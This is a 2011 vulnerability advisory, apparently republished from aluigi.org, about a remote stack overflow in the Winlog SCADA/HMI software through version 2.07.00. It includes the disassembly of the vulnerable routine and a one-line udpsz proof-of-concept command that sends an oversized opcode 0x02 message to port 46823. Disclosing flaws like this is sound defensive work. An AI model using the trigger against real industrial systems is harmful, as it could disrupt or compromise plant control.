ExploitFixes
Sielco Sistemi Winlog <= 2.07.00 Stack Overflow 2011-01-14 15:15:14

Source: http://aluigi.org/adv/winlog_1-adv.txt

#######################################################################

Luigi Auriemma

Application: Sielco Sistemi Winlog
http://www.sielcosistemi.com/en/products/winlog_scada_hmi/
Versions: <= 2.07.00
Platforms: Windows
Bug: stack overflow
Exploitation: remote
Date: 13 Jan 2011
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software
package for the supervision of industrial and civil plants."


#######################################################################

======
2) Bug
======


This SCADA software can act as a TCP/IP server by enabling the specific
"Run TCP/IP server" option available in the
"Configuration->Options->TCP/IP" section of the project we want to run
and Runtime.exe will listen on the TCP port 46823.

The opcode 0x02 of the protocol is used for the handling of some
strings received by the client and the calling of one of the
_TCPIP_WriteNumValueFP, _TCPIP_WriteDigValueFP or _TCPIP_WriteStrValueFP
functions depending by the type of data.

They use all the same function starting from offset 00446795 for the
parsing of the data and it's vulnerable to a stack overflow while
copying the input data in a temporary buffer of about 60 bytes:

00446795 /$ 55 PUSH EBP
00446796 |. 8BEC MOV EBP,ESP
00446798 |. 83C4 C0 ADD ESP,-40
0044679B |. 53 PUSH EBX
0044679C |. 56 PUSH ESI
0044679D |. 57 PUSH EDI
0044679E |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
004467A1 |. 8B5D 08 MOV EBX,DWORD PTR SS:[EBP+8]
004467A4 |. 8BF8 MOV EDI,EAX
004467A6 |. 33C0 XOR EAX,EAX
004467A8 |. 56 PUSH ESI
004467A9 |. 83C9 FF OR ECX,FFFFFFFF
004467AC |. F2:AE REPNE SCAS BYTE PTR ES:[EDI] ; strlen
004467AE |. F7D1 NOT ECX
004467B0 |. 2BF9 SUB EDI,ECX
004467B2 |. 8D75 C0 LEA ESI,DWORD PTR SS:[EBP-40]
004467B5 |. 87F7 XCHG EDI,ESI
004467B7 |. 8BD1 MOV EDX,ECX
004467B9 |. 8BC7 MOV EAX,EDI
004467BB |. C1E9 02 SHR ECX,2
004467BE |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; memcpy


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/udpsz.zip

udpsz -T -b a -C 020101 SERVER 46823 1000


#######################################################################

======
4) Fix
======


Version 2.07.01.


#######################################################################